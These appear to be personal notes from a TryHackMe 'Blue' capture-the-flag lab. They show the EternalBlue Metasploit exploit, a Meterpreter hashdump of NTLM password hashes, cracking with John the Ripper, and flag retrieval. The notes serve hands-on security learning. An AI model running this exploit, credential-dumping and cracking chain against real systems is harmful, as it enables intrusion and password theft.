

Wednesday, 4 March 2020 11:14 PM

```
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
```

<https://www.hackingarticles.in/command-shell-to-meterpreter/>

List sessions using -> sessions

Upgrade sessions using sessions -u 3

Make session interactive

<https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/>

tryhackme Page 1

```
meterpreter > run post/windows/gather/hashdump

[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 55bd17830e678f18a3110daf2c17d4c7...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...

Jon:"Nah boi, I ain't sharing nutting with you"

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
localadmin:1001:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
```

Cracking password

```
root@kali:/tmp/blue# john --format=NT -w:/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 3 password hashes with no different salts (NT [MD4 128/128 AVX 4x3])
Remaining 2 password hashes with no different salts
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssw0rd          (localadmin)
alqfna22          (Jon)
2g 0:00:00:00 DONE (2020-03-04 23:53) 3.333g/s 17000Kp/s 17000Kc/s 17013KC/s alqui..alpusidi
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed
root@kali:/tmp/blue#
```

Showing password

```
root@kali:/tmp/blue# john --format=NT hash.txt --show
Administrator::500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest::501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:alqfna22:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
localadmin:P@ssw0rd:1001:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::

4 password hashes cracked, 0 left
root@kali:/tmp/blue#
```

Finding flag using findstr /si and cd

```
C:\>dir
dir
Volume in drive C has no label.
Volume Serial Number is E611-0B66

Directory of C:\

03/17/2019  01:27 PM                24 flag1.txt
07/13/2009  09:20 PM                <DIR>         PerfLogs
04/12/2011  02:28 AM                <DIR>         Program Files
07/13/2009  10:57 PM                <DIR>         Program Files (x86)
12/12/2018  09:13 PM                <DIR>         Users
12/12/2018  09:13 PM                <DIR>         Windows
               1 File(s)                24 bytes
               5 Dir(s)  22,229,643,264 bytes free

C:\>type flag1.txt
type flag1.txt
flag{access_the_machine}
C:\>
```

```
C:\Windows\System32>findstr /si flag *.txt
findstr /si flag *.txt
config\flag2.txt:flag{sam_database_elevated_access}
C:\Windows\System32>
```

```
C:\Users\Jon>findstr /si flag *.txt
findstr /si flag *.txt
Documents\flag3.txt:flag{admin_documents_can_be_valuable}
C:\Users\Jon>
```